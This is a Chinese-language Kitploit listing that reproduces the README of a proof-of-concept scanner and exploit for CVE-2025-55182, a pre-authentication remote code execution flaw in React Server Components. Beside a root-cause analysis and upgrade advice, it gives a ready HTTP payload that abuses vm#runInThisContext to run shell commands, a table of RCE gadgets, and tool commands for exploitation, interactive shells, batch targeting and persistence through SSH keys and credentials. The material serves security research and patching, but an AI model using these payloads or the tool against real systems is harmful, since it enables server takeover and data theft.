Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-POC-SCANNER — 统一安全研究工具 | Kitploit
工具/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育红队Payload 开发
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

统一安全研究工具

4410个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2025-55182:React 服务端组件中的严重预认证远程代码执行漏洞

CVE-2025-55182 CVSS 10.0 受影响的 React 版本 受影响的 Next.js 版本

安全研究由 schema.cx 提供
“控制是一种幻觉。真正控制我们的是我们构建的系统——除非我们首先理解它们。”


📋 目录

  • ⛔ 免责声明与法律声明
  • 📊 执行摘要
  • 🔬 技术描述
  • 🎯 受影响的系统
  • 🔧 概念验证
  • 💥 影响评估
  • 🛡️ 缓解与修复
  • 📅 负责任披露时间线
  • 📚 参考资料
  • 🏆 致谢

⚠️ 免责声明与法律声明

此工具仅供授权的安全测试使用

停。在继续之前请阅读以下内容。

本仓库包含一个严重安全漏洞的概念验证代码。访问、下载或使用本仓库中的任何材料即表示您承认并同意以下条款:

法律要求

  1. 需要书面授权:您必须获得系统所有者的明确书面许可,才能进行任何安全测试。口头协议不足够。
  2. 范围限制:测试必须仅限于授权书中明确列出的系统。“范围蔓延”不被允许。
  3. 适用法律:未经授权访问计算机系统违反:
    • 美国:《计算机欺诈和滥用法》(CFAA),18 U.S.C. § 1030
    • 欧盟:关于打击信息系统攻击的第2013/40/EU号指令
    • 英国:《1990年计算机滥用法》
    • 澳大利亚:《1995年刑法典》,第477-478条
    • 其他司法管辖区:类似的计算机犯罪法律在全球适用

责任免责声明

本仓库的作者与贡献者:

  • 对此工具的任何误用不承担任何责任
  • 不提供任何明示或暗示的担保
  • 对因使用或无法使用本软件而产生的任何损害不承担任何责任
  • 不认可任何形式的非法活动

道德准则

  • 未经许可切勿测试 —— 即使您只是“想检查一下”
  • 记录一切 —— 保留所有测试活动的详细日志
  • 最小化影响 —— 使用尽可能少的侵入性方法
  • 负责任地报告 —— 遵循协调披露实践
  • 尊重隐私 —— 不要窃取或保留敏感数据

“问题不在于我们能否利用这个漏洞。而在于我们是否应该利用它,以及出于什么目的。”


📊 执行摘要

CVE-2025-55182 是一个影响 React 19.x 和 Next.js 15.x-16.x 应用中 React 服务端组件的严重预认证远程代码执行(RCE)漏洞。

业务影响

此漏洞允许任何未认证的攻击者,只要能够网络访问易受攻击的应用,就可以在服务器上执行任意命令。该攻击无需凭据,无需用户交互,并且可以完全自动化。成功利用可导致:

  • 完全服务器沦陷 —— 攻击者获得对底层系统的完全控制
  • 数据泄露风险 —— 访问数据库、环境变量、密钥和用户数据
  • 横向移动 —— 被攻陷的服务器可用于攻击内部网络
  • 供应链风险 —— 服务数百万用户的生产系统可能受到影响

严重性评级

指标评级
CVSS 3.1 基础分10.0 严重
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响(机密性/完整性/可用性)高 / 高 / 高

“人们信任系统是因为他们不理解这些系统。这种信任就是漏洞。”


🔬 技术描述

根本原因分析

该漏洞存在于 React 的 Flight 协议实现中,具体位于 requireModule 函数。该函数使用方括号语法根据用户控制的输入访问模块导出,而未验证所请求的属性是否为模块的自有属性。

易受攻击的代码位置:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
函数:requireModule(大约在第2546-2558行,v19.0.0)

易受攻击的模式:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 异步处理 ...
  return moduleExports[metadata[2]];  // ← 存在漏洞:没有 hasOwnProperty 检查
}

利用机制

该攻击利用 JavaScript 的原型链遍历:

  1. 入口点:攻击者向服务器操作端点发送一个恶意多部分表单请求
  2. 载荷注入:$ACTION_0:0 字段包含一个 JSON,其 id(模块#导出格式)和 bound(参数)属性由攻击者控制
  3. 原型访问:通过指定如 constructor 这样的导出或访问原型属性,攻击者可以引用内置的 Node.js 模块
  4. RCE 小工具:像 vm.runInThisContext、child_process.execSync 或 fs.readFileSync 这样的函数使用攻击者提供的参数执行

攻击向量

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // 解析"module#export"格式
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // 原型链访问 → RCE

载荷结构

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

可用的 RCE 小工具

小工具模块描述影响
vm#runInThisContextvm在当前上下文中执行 JS直接 RCE
vm#runInNewContextvm在沙箱中执行 JS(可逃逸)直接 RCE
child_process#execSyncchild_process执行 shell 命令直接 RCE
child_process#spawnSyncchild_process生成进程直接 RCE
fs#readFileSyncfs读取任意文件数据泄露
fs#writeFileSyncfs写入任意文件持久化/后门
module#_loadmodule加载 JS 模块(两步 RCE)间接 RCE

“每个系统都有一扇门。问题在于你是自己建造了锁,还是从某个从未预料会有访客的人那里继承来的。”


🎯 受影响的系统

易受攻击的版本

产品易受攻击的版本已修补的版本
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x(使用易受攻击的 React)包含已修补 React 的版本

利用的先决条件

  1. 启用了 React 服务端组件:应用程序使用 RSC 并带有服务器操作
  2. 使用了易受攻击的 React 版本:使用了受影响版本之一
  3. 网络访问:攻击者可以访问服务器操作端点
  4. 危险模块在打包中:对于直接 RCE,vm、child_process 或 fs 等模块必须在 webpack 打包中

平台要求

  • 运行时:Node.js(支持 React 19 的任何版本)
  • 框架:Next.js App Router 或自定义 RSC 实现
  • 无需额外配置即可存在漏洞

危险模块出现的可能性

模块在打包中的可能性常见来源
fs非常高fs-extra, gray-matter, multer, sharp, chokidar
child_process中高execa, shelljs, puppeteer, sharp, PDF 生成器
vm低中ejs, pug, 模板引擎
module非常低tsx, ts-node(通常仅限 CLI)

🔧 概念验证

扫描器工具

本仓库包含一个全面的基于 Python 的安全扫描器,支持多种操作模式。

仓库结构

CVE-2025-55182-poc/
├── README.md                    # 本文件
├── scanner/
│   ├── __init__.py             # Python 包初始化
│   ├── scanner.py              # 主统一扫描器(6种模式)
│   ├── readme.md               # 详细的扫描器文档
│   ├── requirements.txt        # Python 依赖
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # 漏洞深入分析
│       └── VULNERABLE-PACKAGES.md   # 受影响包版本

安装:

cd scanner
pip install -r requirements.txt

基本使用示例

漏洞扫描:

# 检查目标是否存在漏洞
python scanner.py scan https://target.com

小工具检测:

# 识别可用的 RCE 小工具
python scanner.py exploit https://target.com --detect-gadgets

命令执行(需授权):

# 在易受攻击的目标上执行命令
python scanner.py exploit https://target.com -c "whoami"

批量测试:

# 从文件测试多个目标
python scanner.py batch -f targets.txt -o results.json

自动扫描与验证:

# 综合扫描,带漏洞利用验证
python scanner.py auto -f targets.txt -o report.txt

预期输出

易受攻击的目标:

[+] 对 CVE-2025-55182 存在漏洞!
    框架:Next.js
    版本:15.1.0
    置信度:高
    
可用的 RCE 小工具:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

已修补的目标:

[-] 不存在漏洞或无法确定
    检测到的框架:Next.js
    版本:15.2.0(已修补)

扫描器模式

模式用途
scan漏洞检测和指纹识别
exploit使用特定小工具进行受控利用
shell在易受攻击目标上的交互式命令 shell
batch测试多个 URL,带统计
auto自动多目标扫描,带验证
persist持久化攻击演示(SSH 密钥、凭据)

特性

  • 框架检测:在利用前识别 Next.js/React 应用
  • WAF/CDN 检测:识别 Cloudflare、Akamai、Incapsula、AWS WAF、Azure WAF 等
  • 多种 RCE 小工具:vm、child_process、fs、module 利用路径
  • 两步 RCE:通过 fs#writeFileSync + module#_load 的替代利用方式
  • 验证:通过执行证明确认漏洞利用
  • 误报预防:智能过滤 HTML/WAF 响应
  • 报告:文本、JSON 和 HTML 输出格式

完整文档请参阅 scanner/readme.md。

“工具的威力取决于其背后的意图。在合适的人手中,武器可以成为盾牌。”


💥 影响评估

机密性影响:高

  • 环境变量:数据库凭据、API 密钥、秘密
  • 源代码:应用逻辑、专有算法
  • 用户数据:个人信息、认证令牌
  • 系统文件:/etc/passwd、SSH 密钥、云凭据
  • 内部网络:作为进一步攻击的跳板

完整性影响:高

  • 代码注入:在应用文件中植入后门
  • 数据篡改:数据库修改
  • 配置更改:安全设置、访问控制
  • 持久化机制:定时任务、启动脚本、SSH 密钥

可用性影响:高

  • 服务中断:进程终止、资源耗尽
  • 数据销毁:文件删除、数据库删除
  • 勒索软件部署:加密关键文件
  • 完全系统沦陷:完全管理控制

攻击场景

  1. 数据泄露:攻击者读取包含数据库凭据的 .env 文件,窃取客户数据
  2. 挖矿程序安装:攻击者写入挖矿脚本,添加定时任务以实现持久化
  3. 供应链攻击:攻击者在生产环境中修改源代码,向用户提供恶意内容
  4. 横向移动:被攻陷的服务器用于攻击内部数据库、API 和服务
  5. 勒索软件:攻击者加密应用文件,要求支付解密密钥赎金

🛡️ 缓解与修复

立即行动(立即执行)

  1. 立即升级 React

    npm update react react-dom react-server-dom-webpack
    

    目标版本:19.0.1+、19.1.2+ 或 19.2.1+

  2. 验证补丁应用

    npm ls react
    

    确保依赖树中没有再遗留易受攻击的版本

WAF/防火墙规则

下载工具